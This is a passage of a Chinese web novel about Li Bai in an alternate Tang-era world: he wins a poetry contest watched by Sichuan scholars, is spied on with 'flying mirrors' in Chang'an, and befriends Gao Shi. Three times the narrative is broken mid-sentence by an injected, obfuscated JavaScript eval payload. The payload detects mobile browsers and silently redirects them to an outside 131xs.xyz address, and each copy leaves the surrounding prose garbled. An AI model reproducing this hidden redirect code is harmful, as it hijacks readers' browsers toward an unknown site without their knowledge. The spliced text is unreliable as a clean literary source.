不知是谁发出的这样一个疑问,瞬间在逼仄的环境里引起了一阵恐慌。 比赛结束了?! 他们到现在都没听见李十二的名字,比赛就这么结束了?那岂不是意味着包括李白,包括他们这么多人这么长时间以来的努力,都白费了?! 哀叹声、抱怨声、疑惑声此起彼伏,与滴滴答答的雨声交织在一起。还是康二,当即一声大喝,压制住了满屋的低迷情绪。 “都别慌!” 待众人情绪平复下来,他才继续说:“大赛到酉正戌初才结束,现在时候还早。再说了,若是比赛结束,评委必然要宣读魁首获得者。现在张相、贺监和王爷不还在那坐着吗?说明比赛还没结束!大家稍安勿躁,说不定李十二压轴出场呢!” 这一番清晰透彻又沉稳有力的话语如同定海神针,瞬间安抚了众人的情绪。大家都屏气凝神,重新把注意力集中在陈十六手中的诗牌上。 滋……滋啦啦…… 屏幕上混乱的光点挣扎着闪烁了几下,画面似乎凝滞了一瞬,重新拼接回一个较为完整的、但依旧像隔着山雾的场景。 “半柱香……张相爷说半柱香不来就算弃权……” 有人捕捉到了评审席模糊的对话,心提到了嗓子眼。 “弃权?!” “李十二……迟到了?” “长安……长安要把他拒之门外?!” 短暂的,死一般的寂静。紧接着,书社里炸了锅。 “不可能!” 王五第一个嘶吼起来,额头上青筋暴跳:“十二郎是什么人?!那是是老天爷追着喂饭吃的主!他对这场大赛看得多重,我们比谁都清楚!他怎么可能迟到?!” “对!绝无可能!”郑六猛地一拳砸在湿冷的泥墙上,一声闷响,泥墙陷进去一个凹坑“星夜兼程,蜀道杀匪都没耽搁!眼看就要到朱雀门前了,怎么会迟到?定是有人使坏!” “有人使坏”这四个字,如同火星掉进了干草堆,瞬间点燃了所有寒门学子心中那根最敏感、也最脆弱的心弦。他们身处社会底层,太熟悉那些无形的壁垒与上层的倾轧。李白的才华太过耀眼,他的行事太过狂放不羁,他得罪了多少人?挡了多少人的路? “是了!是了!”角落里一个平时沉默寡言的少年,此刻声音尖锐得刺耳,“定是那些长安的贵胄公子哥!自己诗才平平,怕被十二郎比下去,失了颜面!就在路上使绊子!” “对!他们嫉妒!嫉妒十二郎的才华盖世!故意……故意把他挡在外面!或者……或者派了金吾卫刁难他!扣他的剑,拖他的时辰!” 陈十六气的把牙齿咬得咯咯作响。他完全不知道会场的新规,只是本能地将自己想象中最黑暗、最可能的阻碍投射上去。 他们谁也没见过长安的金吾卫,但都被蜀道上卫兵盘查过,这些经历早已在他们心中刻下了对权势爪牙的深深忌惮。无论是哪里的卫兵,那套统一的穿戴下都流着一样的脏血! “金吾卫!”众人倒吸一口凉气。那冰冷的铁甲,傲慢的眼神,是他们这些寒门子弟天然的恐惧符号。 “天杀的!他们定是收了黑钱!” “十二郎那般傲骨,岂肯低头?定是被他们纠缠住了!” “说不定……说不定他们还敢动手?!” 恐惧和愤怒交织,在闭塞阴暗的书社里发酵、膨胀,几乎要冲破那残破的屋顶。仿佛长安城内,此刻正上演着一场针对他们蜀中骄子的无声而肮脏的围猎。那个模糊的“弃权”判决,在他们眼中不再是规则,而是赤裸裸的阴谋得逞的信号! “这群王八蛋!黑了心肝!”有人忍不住破口大骂。 “十二郎孤身一人……在长安无依无靠……” 悲观的念头开始蔓延,绝望如同冰冷的藤蔓缠绕上来。 就在那香灰将落未落的最后一瞬,模糊的画面猛地晃动了一下,紧接着,一道白色的身影如同闪电般撞入视野!即使画面依旧模糊,即使声音有些失真,那熟悉的,带着蜀地口音的朗朗之声穿透了雨幕和诗牌的杂音: “蜀人李白在此!……” “是李十二郎!” “苍天啊!他赶到了!赶到了!” 书社里瞬间炸开了锅。所有的懊恼、焦急都被狂喜淹没。他们挤得更紧了,眼睛瞪得溜圆,死死盯着那方寸屏幕。 金墨书写的《蜀道难》诗稿在模糊的镜头下依然难掩其华彩,评审们脸上的惊异之色依稀可辨。当卢玉生的琵琶声铮然响起,李白的身影在台上腾挪闪转,以指为剑,纵声长吟时,书社里彻底沸腾了! “噫吁嚱!危乎高哉!……” 他们跟着屏幕里模糊的身影一起大声念诵,声音盖过了滴答的漏雨之声。李白每一个充满力量的“剑招”,每一次激昂的顿挫,都仿佛直接劈开了蜀道的险阻,也劈开了他们心中的阴霾。这一刻,那个曾与他们一起在油灯下抄写诗稿、谈论理想的李十二郎,化作了真正的仙人,在长安之巅绽放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275802|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出万丈光芒!简陋的书社仿佛被这光芒照亮,每个人的脸上都洋溢着与有荣焉的激动和自豪。 一曲终了,满堂喝彩! 模糊的画面中,那个最高、最稳的评审——是张九龄吧?他提起了笔! “甲!是甲等!张相爷给了甲等!” 眼尖的王五指着模糊的评分牌大喊。 “王爷!王爷也写了!也是个‘甲’!” “贺监……贺监冲……冲下去了!他……他拉着李十二郎的手!”陈十六的声音激动得劈了叉,因为极度亢奋而几乎失语,“他……他说……他叫十二郎……‘谪……谪仙人’!谪仙人啊!” 书社瞬间充满了兴奋和狂喜的空气,但此时的诗牌画面已开始模糊闪烁,贺知章拉着李白离场的背影还未消失,张九龄宣布魁首的声音还在回荡—— 突然,诗牌发出一声轻微的“滋啦”声,屏幕剧烈地闪烁了几下,那代表着能量彻底耗尽的红光急促地亮起,然后……彻底熄灭了。 最后一点蓝光消失,书社瞬间陷入一片昏暗,只有角落里一盏如豆的油灯摇曳着微弱的光芒。刚才还震耳欲聋的欢呼声戛然而止,只剩下粗重的喘息和漏雨的滴答声。 他们没听到张九龄完整的宣告,没看到李白接受魁首头衔的瞬间,更没听到他可能发表的任何感言。黑暗笼罩下来,带着一丝遗憾。 然而,这遗憾只持续了短短一瞬。 “赢了!李十二郎赢了!他是魁首!” 黑暗中,不知是谁第一个嘶吼出来,带着破音的狂喜。 “魁首!蜀中李白!大唐好诗歌魁首!” “谪仙人!他是谪仙人啊!” 欢呼声再次爆发,比刚才更加热烈,更加疯狂!他们跳着,叫着,互相捶打着肩膀,泪水混着雨水,或是汗水,在年轻的脸庞上肆意流淌。 没有诗牌的画面又如何?没有听到感言又如何?李白那惊世骇俗的表演,那力压群雄的“甲等”,那“谪仙人”的至高赞誉,已经深深烙印在他们心里,烙印在天下人心里。 陈十六摸索着,将那块耗尽能量、变得冰冷的诗牌紧紧抱在怀里,仿佛抱着无价的珍宝。一股巨大的暖流猛地从心底涌出,直冲鼻梁,酸胀无比。他死死咬住嘴唇,不让自己哭出声。 他想起几个月前,也是在这间漏雨的书社,他们将抄好的诗稿双手奉上,李白付给他们足以支撑数月开支的报酬,且每个人的报酬都用精致的蜀绣钱袋装着。 他清楚地记得李白那双明亮而摄人的眼睛,也清楚地记得谪仙人的承诺—— “诸位,助我一场‘诗雪’,也为自己搏个前程!” 为了这份沉甸甸的承诺,这几个月,他们不分昼夜地俯在残破的书案前。指尖被粗糙的纸张和劣质笔墨磨得开裂,结了厚厚的老茧。劣质的油灯将本就熏黑的墙壁熏得更加漆黑如墨,刺鼻的油烟呛得人咳出眼泪。 他们互相监督着每一个字的横平竖直,模仿着李白那份他们无法企及的狂逸。困了就轮流靠在冰冷的泥墙上打盹,饿了就啃一口硬得像石头的冷饼。 一切艰辛,都为了这一天!为了这遥望长安的时刻! 为了感谢李白,也为了寄托他们共同的梦想,大家凑钱,托郑六去州府买来了这块洮河绿石砚。石质细腻温润,犹如蜀中山水的凝萃。 他们请不起名家,便由写得一手好字的陈十六执刀,在砚底一笔一划,刻下了两个遒劲有力的字: 扶摇。 这个词取自李白最爱的《逍遥游》,“抟扶摇而上者九万里”。这方砚,承载着他们最朴素也最炽热的祝愿——愿这位才华横溢的同乡,如那北海之鹏,乘着这阵由蜀道寒门子弟心意汇聚而成的“扶摇”之风,直上青云,翱翔九天! 此刻,虽然诗牌黑屏,长安的喧嚣远去,但书社里这群年轻人的欢呼声,却仿佛穿透了千山万水,与杏花坳的喝彩遥相呼应。 他们知道,那块刻着“扶摇”的洮河砚,此刻定已随李白到了长安。而李白的成功,就像那砚台本身,虽经他们粗糙的手打磨,却注定要在更广阔的天地,书写属于他的传奇。这,就是他们能听到的,最动听的“获奖感言”。 这方简陋书社,才是《蜀道难》真正的起点。 8. 月下飞天镜 嘈杂、油腻、烟火气冲天,这家藏在西市深巷里的胡姬酒肆,以价廉肉厚的胡饼和够劲的“三勒浆”闻名于长安底层士子与行商走卒之间,吆喝声、调笑声、咒骂声不绝于耳,与一街之遥的醉仙楼绝不可比。 酒肆角落最不起眼的位置,坐着一个奇怪的人。他身形挺拔,却尽量蜷缩着,一顶宽檐灰纱帷帽低低压下,垂下的轻纱严密地遮住了面容,只露出线条清晰的下颌。一只骨节分明的手此刻正有些不耐烦地轻叩着油腻的桌面——正是李白。 他身前只摆了一碟卤豆,半块胡饼,一壶酒,与周围大碗喝酒、大块吃肉的喧闹格格不入。一口浊酒入喉,李白眯起眼睛,试图从这低廉的酒酿中找回蜀道山野的气息。 “喂,哥几个看……”其中一人对着同伴耳语,声音不大,但在李白异常敏锐的耳中字字清晰,“那身形……那手……像不像?” “嘶……有点像!可李供奉怎会来这种地方吃卤豆?” 李白眉头紧锁——自己的翰林供奉生涯,以一种令人惊叹的速度复刻了当年陈子昂的轨迹:圣眷正隆,独蒙召见,免试授官。“青莲剑歌”的一举一动都能霸占朱雀门诗板榜首,曾经“醉仙楼飞雪”的狂生,成了宫宴上的座上宾,贵妃画扇上的题诗人。 起初,李白十分享受这种生活。当他在长安街头任意漫步,一如在蜀中那样时,热情的诗缘客们会与他打招呼,胆大的会直接举着诗牌上前求拓影。 他很乐意如此,毕竟翻看“青莲剑歌”主页,所有的诗帖配图必有一张自己的真容。他甚至还随身携带笔墨,以备有人当街找他索要墨宝。 可是随着时间推移,他逐渐发觉不对劲。凭借剑客的敏感,他发觉自己每次出门,坊墙高处、树冠深处或酒楼邻座总会有若有若无的冰冷反光点,随后就发生了怪事。 某日他与几个朋友在酒肆雅间小酌,酒意微醺时高歌了一曲即兴新作。次日,“太白醉歌狂态泄新篇”的拓影小报便传遍长安,画面上李白举杯向月的姿态纤毫毕现,甚至能看清他嘴角酒渍的微光!这绝非正常视角能拓到! 以李白的洒脱,这种事最初被判定为“偶然事件”,也许只是某个诗缘客太过热情。可“偶然事件”接二连三地发生。 先是他在曲江池边偶遇故人,隔日下午,他与友人“曲江秘会”的亲昵拓影就挂上了诗板轶事版块,配以“谪仙私会,佳人为谁?”的暧昧标题。 再后来,他因翰林公事琐碎烦躁,在无人角落揉了眉心的瞬间,竟也被不知潜伏在何处的东西捕捉放大,成了“李供奉圣眷动摇,意态萧索难掩失意”的铁证。 “太白兄,你这是被人盯上了,用的那东西!” 好友张旭,这位以草书闻名长安的官员,在某次酒宴联句后叫住了他。 “那东西?”彼时的李白还云里雾里。 “啧,西域传进来的邪物,表面上看就是个普通铜鉴,实则构造精巧,堪比‘千里眼’!专能在十步之外,明察秋毫,将人最细微的神态、最私密的举止,定格拓下!”崔宗之迫不及待地抢了张旭的词。 “胡儿汉话说不明白,倒是那些黑市商贩灵光,给这东西起了个‘飞天镜’的名,定价极高,可照样被人捧上天——太白!” 在张旭惊恐的目光中,李白一拳打在旁边的柱子上,铜柱的闷响是谪仙怒气的具象化。他万万没想到,自己《渡荆门送别》中那句“月下飞天镜,云生结海楼”,本是描绘壮阔的江心月影倒映天地如镜,如今竟成了这等龌龊偷窥之器的美称?! “我去找贺监!”崔宗之按住李白因为愤怒而颤抖的手臂,沉声道。 张旭给李白送了顶帷帽,起初李白坚辞不受,称大丈夫行事,怎么能效仿女子遮面。最终说动李白的不是张旭,而是兴庆宫外的闹剧。 那日李白如常策马行至兴庆宫墙外。初时昂首挺胸,可未出百步,只听一阵吵嚷—— “快看!是谪仙人!” “李供奉!求拓影!” 人群如潮水涌来,数十块诗牌几乎抵到他脸上。更有甚者攀上坊墙,手中铜镜在晨光中反射出刺目寒芒。李白左支右绌间,马鞍旁锦囊竟被扯落,散落的诗稿遭人哄抢。 “都闪开!”金吾卫艰难分开人潮,队正抹着汗苦笑:“李供奉,您如今这阵仗……唉,当年陈拾遗千金碎琴时,可没有这等劳什子‘飞天镜’扰人啊。” 李白攥紧缰绳望向宫门,痛苦地闭上眼睛,再睁开时,目光坚定却透着痛楚。他拨转马头回去,取了张旭送的帷帽扣在脑袋上,却故意让帽沿歪着。 崔宗之果然如其所说,在贺知章做东的酒席宴上斟酌着提了一嘴:“贺公,近来市井之间……似有一股窥伺歪风滋扰清静,所用之器物甚为诡谲,专事窥探贵人起居行止,不仅极不雅观,更恐有碍朝廷体统……” 他点到为止,并未直接提“飞天镜”和李白之名,但久经宦海的贺知章何等敏锐,当场摔了酒杯。 “胡闹!” 崔宗之吓得一个激灵,在座众人无不噤若寒蝉。 “宵小之徒,竟行此卑劣之事!当街狎弄,视朝廷大臣为何物?!” 他深谙此风若长,流毒深远,不仅辱及李白这样的新贵,他们这些老臣也休想安生。 翌日,一封措辞严厉但引而不发的密折便到了京兆尹案头。无人确切知晓其中内容,但紧接着,长安、万年两县的金吾卫突然展开了几场针对“非法奇技淫巧”作坊和窝点的突击。 查抄行动并非大张旗鼓,却效率惊人。几家位于宣阳坊、崇仁坊深处,门脸毫不起眼的地下作坊被捣毁,搜出了几面打磨精良的“飞天镜”和一些半成品模具。同时,市面上原本如苍蝇般专拓各种内幕秘闻的小报,数量锐减,内容也明显收敛了许多。 贺知章此举,如同给沸腾的油锅上盖了一个厚重的锅盖。明面上的沸反盈天被压下去了,至少在平康坊、东西市这些名流可能出现的繁华地段,明目张胆的偷窥行为销声匿迹。 对于李白而言,最直观的感受便是——他能稍微缓口气了。 “兄台,叨扰。四下已无空位,见郎君独酌,冒昧同席,不知可否?” 一个带着北方口音的洪亮声音把李白从回忆拉回现实,隔着轻纱,他看到一个魁梧的身影站在桌旁。不是那些偷偷摸摸窥视的眼神,这青年眉目端正,眼神清澈直接,虽然衣着寒素,但那股挺拔如松的气度,让李白烦躁的心情奇异地舒展。 他点了点头,伸手示意:“请便。” 那人道了声谢,卸下沉重的书箧放在地上,发出“咚”的一声闷响。他解下随身斜挎的一柄环首直刀,随意一放,刀身裹着粗布,刀柄稳稳地倚在条凳边。 他招呼胡姬点了一碗羊肉汤饼、半斤白烧,坐下来默默地观察着这座呼吸间都带着功名味道的煌煌帝都。 然而,酒肆里那些盯上李白的视线,并未因这个北方汉子的到来而收敛。反而因为有新的“观众”到场,窃语声更大了些。 “啧,还有刀?看着像边塞来的穷举子,也配和谪仙人同桌?” “喂,戴帷帽的郎君!是不是‘青莲剑歌’?赏脸让小的拓个影吧!” 一个胆子大的无赖终于按捺不住,借着酒劲,踉踉跄跄地凑了过来,手里攥着自己的诗牌,油腻的手指竟直接伸向李白轻纱的一角,试图掀开窥探。 这一下,彻底点燃了李白心中憋了许久的火气—— “放肆!” 李白一声低喝,手腕闪电般抬起,精准地格开了那只油手。他动作虽快,但并未真正发力伤人,那无赖却如被蛇咬了一般怪叫一声,踉跄后退,撞翻了一个空酒坛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275803|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎哟!给脸不要脸!真当自己是个神仙了?躲在纱帽底下装神弄鬼!”无赖脸涨得通红,酒意混合着恼羞成怒,张牙舞爪地又要扑上。 就在这时,坐在李白对面的那人动了。 他甚至没有起身,仅仅是伸出蒲扇般的大手,稳稳地抓住了那无赖再次伸出的手腕,让无赖动弹不得。 他的目光平静地扫过无赖和身后几个蠢蠢欲动的同伴,另一只手指了指靠在自己条凳边的那柄环首直刀,声音不高,却带着一股塞外寒风般的肃杀: “朋友,扰人清静,非君子所为。这位郎君不与你见识,是高风亮节。但你再近一步,我这刀认得人,我的拳头却不大认得人,要不要试试?” 简简单单几句话,就把这几个无赖镇住。他们都是市井混混,欺软怕硬,哪里见过这气势?顿时像被掐住脖子的公鸡,气焰全消,悻悻离开。 一场风波悄然平息,李白隔着轻纱,将整个过程尽收眼底。对这个陌生青年的身手和那份关键时刻挺身而出的凛然,生出了浓浓的好感与好奇。 他伸手撩开了被那无赖拉扯后显得有些凌乱的灰纱帷帽,露出了那张被长安无数人疯狂追逐的容颜。剑眉星目,神采飞扬,只是此刻眉宇间带着一丝被惊扰的疲惫。他端起自己的酒杯,嘴角勾起一个潇洒又不失真诚的微笑。 “这位兄弟,好身手,好胆魄!在下李白,多谢了。为这不扰人的‘清静’,当浮一大白!”他的声音清越有力,带着点蜀地口音,却自有一股令人心折的魅力。 李白?谪仙人李白? 那人愣住了。他进京时日不长,但“李白”和“谪仙人”的大名早已如雷贯耳,那是他需要仰望的存在。 他初入长安,因不熟悉长安布局走错了路,来到酒肆落脚时已座无虚席,好不容易找到个与人拼桌的位置,却又见无赖挑衅。 当那无赖喊“青莲剑歌”时,他已经猜到了八九分,却不十分笃定。直到他出于义气解围,对面名士掀开轻纱,他才顿悟:这真的是谪仙人! 他连忙也举起刚倒上烧酒的粗陶大碗,眼中的惊愕化作了敬佩和爽朗的笑意。 “原来是李供奉!在下渤海蓟人高适,字达夫,区区小事,何足挂齿!供奉侠名诗名远播,在下仰慕已久,未曾想竟在此处遇见真容!” “哈哈!什么供奉!达夫兄莫要拘礼!”李白大笑着,主动挪了挪,坐到高适旁边,推开了自己那碟寒酸的卤豆,对着胡姬喊道:“绿眼儿!上最好的羊羔肉!再打三斤陈酿三勒浆!这顿算我的!” 言罢,他将那顶帷帽随意摘下来,扔在条凳一角:“与知己痛饮,何须帷帽藏头?” 李白毫不掩饰的豪爽与落拓,瞬间消除了所有身份地位的巨大鸿沟,高适也放下了拘谨,熟络地攀谈起来。两人就在这充斥着羊膻汗臭和胡人乐舞的嘈杂酒肆角落,举碗痛饮。 闲谈间,李白问起高适近况,高适有些羞赧道:“某来长安,本想施展抱负,奈何科举不中,干谒不成,如今只能栖居在瀚海诗社。” 见李白似有疑惑之色,高适赶紧解释:“就是诗家夫子王江宁(王昌龄)创立的瀚海诗社,专为以诗会友。” “我想起来了!”李白如醍醐灌顶,“那边,有个‘诗社巷’,我说的可对?” 高适顺着李白手指的方向看去,点点头:“对,瀚海诗社的长安分会馆也在那里,和兄弟诗社相互照应。少伯兄远在江宁,主持诗社事务分身乏术,知我窘迫,便将这长安分社馆托我暂管,也算有个栖身之处。” 说着,高适真情相邀道,“若太白兄对诗社感兴趣,何不随我到会馆去?总好过在这吵嚷之所。” “求之不得!”李白说着已经站了起来,揽着高适的肩膀向外走。条凳上那顶被遗忘的帷帽,不知何时沾上了油污。 9. 大道如青天 结了酒钱出来,两人转进崇贤坊南巷。因为诗社大多聚集于此,故而民间常戏称其为“诗社巷”。 这里的诗社,有些是总社,门面要气派些,而有些只是分社,总社设在社长家乡或任职所在地,故而门面会相对较小。 每间诗社会馆前都有当值的社员,他们认出了那位和高副社同行之人正是当今如日中天的李供奉,却也只是遥遥作揖。李白向他们频频点头致意,随高适推开了“瀚海诗社”门匾下古朴的大门。 不大的天井小院。院中一株老桃树虬枝伸展,虽非花期,却古朴苍劲。墙角几丛青竹,在风中飒飒轻响,更衬出院落的清幽简朴。 “太白兄请。” 高适在前,引导李白步入正堂,一股书卷墨香扑面而来。室内陈设极其简朴,却不简陋,北墙居中的位置挂着一张笔法苍劲的社规。 “以诗会友,情义当先。不慕金玉,唯敬诗骨。”李白凑上去仔细端详,不觉念出了声,连连称赞,“少伯兄这字写得好,社规定得也高!若是有机会,达夫可要替我引荐啊!” “那是自然。”高适迅速找来茶具,沏上热茶,拉着李白在自己对面坐下,“少伯兄最爱结交,若是遇到同道之人,无需引荐,他自会请你扫千机引。” 说着,高适拿出诗牌,打开自己“燕歌行客”的千机引,学着王昌龄的举止和腔调道:“在下‘青海长云’,与郎君甚为投缘,不如扫个千机引?若有兴趣,还可来我瀚海诗社,只需三条诗帖金叶子数过百,且至少有一条涉及边庭意象,即可入社!” 李白噗嗤一声乐了出来,却听高适忽然道:“不过说来也怪,少伯兄那样一个爱热闹的人,近来诗牌冷清得很,既不见他发新诗,也不见他点评社员诗作。” 顿了顿,高适解释说:“太白兄有所不知,少伯兄最关注社员新作,每遇新作,他必然是首个点评人。那年我自蓟北而归,心中不快,偶题一首,写完便放下诗牌去睡了。结果第二日起床一看,少伯紧跟着我的诗贴点评说‘此诗起手颇奇,然细观以下诸句,似有金戈折刃之意?胜败乃兵家常事,报国之路亦非只此一条,且静待之’。他远在江宁,竟知我心!” 说着,高适将诗牌切入瀚海诗社内部界面,指着最顶上“飞雪平沙”的诗贴说:“这是岑参新作《过碛》,这个最闹腾的主居然跑大漠里去了。可是三天过去,金叶子数不少,一条像样的点评都没有,少伯也未置一词,这很不对劲。” 李白歪着脑袋想了想,回答道:“许是少伯被公务缠身?我听闻他在江宁事务繁多,一时没顾上点评也难说。” 高适似乎并不这么认为,默默收起了诗牌,李白赶紧转移话题:“我只是偶然听过诗社之名,却对这内部章程不甚了解,达夫不妨与我细说?” “若说章程么……”高适摸着下巴思索片刻,把自己已知的内容娓娓道来,“这类‘书’,不背也罢,倒是入社三大利好值得一提。一曰‘新曲先闻’,凡社友写成新诗,必先传至社内同好品评。若是发帖,同社之人的点评,能始终位于上层。二曰‘同襟期’,此条最为实惠!诗社社长若因诗名得了赏赐、稿费、甚至售卖那诗歌传抄权的银钱,社员也可分享其中四成!” 见李白微微皱眉,高适进一步解释道:“打个比方,若少伯兄的诗被某位富商高价购得传抄权印在屏风上,得了千贯钱,这笔钱诗社账房提留部分公中运转所需后,剩余便会按照人头和入社年限,给每位社员折算发放数十贯不等。此乃休戚与共之义!” 李白点点头,主动给高适续茶,高适举起茶碗一饮而尽。 “三曰‘秉笔’,此乃诗社立身之本!”高适郑重地指着书架旁一个厚重雕花的樟木箱,木箱虽略显陈旧,却被端正地放在书架旁的楠木承具上,显然是诗社一宝。 “凡社友佳作,必由诗社派出可靠抄手精心誊录一份手稿,以朱砂为印,编号归档,锁于此‘秉笔箱’内。若诗牌丢失、被宵小删改,咱们的诗魂也能永存诗社!” 李白眯起眼睛,摆弄着自己佩剑上的明月佩。高适语气放缓,继续道:“诗社亦非纯为牟利,作诗乃是写心中所想,至于盈利,捎带而已。诗社也常组织诗友赴慈幼局教孤童识字,所用善款皆来源于诗社的‘基金库’。这基金库钱财来源甚广,社内兄弟诗作的‘传抄权’售卖所得是其一;还有长安乐府教坊、各处上等青楼买诗的‘演绎权’——就是允许她们排演吟唱;再者是社友自愿捐赠,以及外间好心人的资助。每至季末,长安分社的账房便会将收支明细誊于黄麻纸上,呈送吏部审核用印,再张贴于本馆大门外及平康坊官府指定的公告墙上,任人查看监督,绝无藏私!” 高适兴致勃勃地介绍完,看着眼前这位名动长安、前途无量的李供奉,一个念头忍不住冒了出来。 “太白兄,以你如今‘谪仙人’的诗名,又在翰林雅集身居显要,声望如日中天,何不也开宗立派,自创一家诗社?” 高适话锋一转,带着热切的怂恿:“届时这长安诗坛俊彦,定会如百川归海,争相投帖拜门!有你这等大才挂帅,诗社定能一呼百应!看到诗社隔壁的那间空房子了没?那是曾经陈拾遗陈子昂的风骨诗社旧址!长安米贵,寸土寸金,你可知为何此屋一直空闲?” “怕是无人能与陈公风骨相较吧。”李白摆弄明月佩的手顿了顿,回答说。 “正是!”高适一拍桌子,转而身子前倾,凑近李白,压低声音,“实不相瞒,当年少伯兄有意把分会馆馆址选在那里,犹豫再三还是选择了这。究其原因么,少伯说我们瀚海诗社重边塞军旅,陈公‘风骨’二字如昆仑巍巍,我等若坐其旧榻,持其故笔,恐己身气象不足以继其万一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275804|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反令英灵蒙尘。那‘风骨’宝座,还是让它空着吧。诗社旧址就当作长安诗坛的一面明镜,照我等衣冠是否端正。少伯兄此言在理,但……” 高适停顿了一下,带着些试探的滋味道:“每每经过,看这长安寸金之地门户紧闭,我心中便另有一番计较。那般风骨,便不能由后人续写,生发新枝么?让这等风骨久锁尘埃,实乃诗坛憾事!这话我平日也只藏在心底,从未与少伯兄言明。今日与兄相谈甚欢,才敢吐露一二。太白兄若要成立诗社,一来两家诗社毗邻,相互有个照应。二来,你那《蜀道难》颇有陈公遗风,陈公若见,必当欣喜。更何况……如果我没记错,太白兄与陈公,算是同乡吧?” “我居渝州,陈公乃射洪人,也算是同乡。” “那正好!太白诗风,不算辱没陈公风骨,上无愧先贤,下惠及同道。让旧址重生,方不负先贤寄托!你若选在隔壁成立诗社,社内兄弟同享‘新曲先闻’,让他们都能先睹你的新作!‘同襟期’的分润自不必说,你那些墨宝换来的传抄权收益,哪怕每个社员只分得一成,也足以让他们吃喝不愁。‘秉笔’更是能保全你所有惊世之作!到那时,我可就要频频向少伯兄告假,到你那‘青莲诗社’去了!” “青莲……诗社?”李白缓缓放下明月佩,捋平下垂的流苏,对高适的安排报以苦笑。 “饶了我吧,高三十五。我李白生性疏懒,翰林雅集的琐事尚且厌倦,谈何自立诗社!这‘谪仙’的虚名不过是一阵风,能吹多久由它去!开诗社,立规矩,管人马,算钱财……哈!有这功夫去管几个社员的月例、百贯银钱的去向,我宁可策马出城,在终南山下找片竹林,听松风、饮清泉、抚长松、啸明月,兴之所至,得句便长吟它个三日三夜!再或者……” 他眼中露出少年般的顽皮:“在醉仙楼包个雅间,与三五知己赌酒斗诗,醉到天地不分,笔墨不辨,那才是我想要的自在快活!” 他兀自给自己添一杯茶,向高适一举,又指了指窗外长安薄暮的天空,脸上虽带着笑意,语气却斩钉截铁:“诗社的事,莫要再提!非是我轻视诗社,只是我疏狂惯了,真要立个诗社,哪怕有个副社帮衬,恐怕到最后也是误人误己,罢了罢了!” 高适看着他眼中那份纯粹的对自由与诗酒的狂热迷恋,心中虽然略感可惜,但更多的是理解和释然。他认识李白日浅,却也从他那惊世骇俗的登场、无拘无束的谈吐中感受到了这股子不羁的精魂,转而爽朗大笑,也不再劝:“那便依太白兄!那今日便只论诗酒,不谈社务!” 李白也畅快地笑了,以茶代酒,两个粗瓷茶碗相碰,他心中只有此刻的好友和窗外那片属于他的自由的天空。 在他看来,所谓诗社,与翰林雅集从本质上并无区别,不过是又一个精致些的鸟笼罢了。他李白,天生是要飞在天上的! 10. 我独不得出 冷茶又热,高适语调一转,眼中满是向往:“不过说起来……入得翰林雅集,那才是真正直通天庭的青云之路!其特权之隆,令人心折。” “心折?”李白将陶杯重重顿在案上,发出“哐”一声脆响,“你若听我细说其中原委,绝不会有此想法!” 高适不解,只得听李白细细道来:“集贤殿刊印《御览诗选》,六百加急驿马通传天下州县。那纸页金光闪闪,名字印上去,连墨都是加了金粉的!听着风光吧?可那入选的诗文……” 他鼻子里哼出一声,“不过是在帝王眼皮底下,按着他的心思,揣摩着他的喜好,写些应制颂圣、辞藻华丽的玩意儿罢了!庙堂供品,束之高阁,哪及市井传唱《峨眉山月歌》!” 高适面露困惑,试图插话:“太白兄……这是否太……太苛责了些?毕竟御览……” 李白不等他往下说,继续如黄河之水滔滔不绝地讲述:“有何苛责?我不过是照实说罢了!至于那曲江宴饮,春日良辰,说是文人盛会,实则不过是披着诗酒风流外皮的贵胄聚会!席上王公国戚端坐如山,翰林诸君陪侍末位,吟诗作对都要合乎礼仪,看人脸色!满腹锦绣,只图博人一哂,饮个囚徒罢了!” 高适见李白说得起劲,也不好打断,只是长叹了口气,他以为的文人盛会,本应是才子联句,雅士论学,不想竟是这般虚伪,全然沦为贵胄的风雅点缀。他没有再试图插话,默默地给李白续茶。 “太学讲习?”李白嗤笑道,“东堂之上,道貌岸然。开口闭口圣人之言,讲的尽是些陈腐教条。所谓‘桃李满京华’,不过是给那些世家子弟添个名师点缀罢了!那堂上的圣贤书,读出来岂不成了讨贵人欢心的鹦哥语?要我去讲?我只会讲‘我本楚狂人,凤歌笑孔丘’!你看他们会不会把我‘请’下讲坛?这种讲坛,倒不如街头巷尾,与贩夫走卒醉饮狂歌,反倒更近大道真意!” 随着李白声调的提高,高适的眼睛也跟着瞪大,流露出难以置信。从前他对长安太学的认识如同戴着帷帽,虚虚实实,只觉金光万丈。如今看来,那个最高学府散发出来的气息,竟和那胡姬酒肆无甚区别。 最后,李白似乎想起什么极其可笑之事,嗤笑声更甚: 